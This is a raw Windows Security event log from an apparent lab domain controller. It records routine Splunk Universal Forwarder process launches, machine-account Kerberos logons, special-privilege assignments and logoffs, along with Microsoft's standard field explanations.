Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256691
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256690
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256692
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256693
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:40:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256698
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x448A01

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:40:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256697
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x448A01
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65526

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:40:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256696
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x448A01

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:41:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256700
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x88c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256699
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256701
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256702
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256703
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256704
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256705
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:41:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256707
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44B474
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65532

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:41:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256706
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44B474

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:41:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256708
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44B474

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:41:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256711
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44C128

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:41:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256710
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44C128
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49158

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:41:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256709
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44C128

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:03 AM
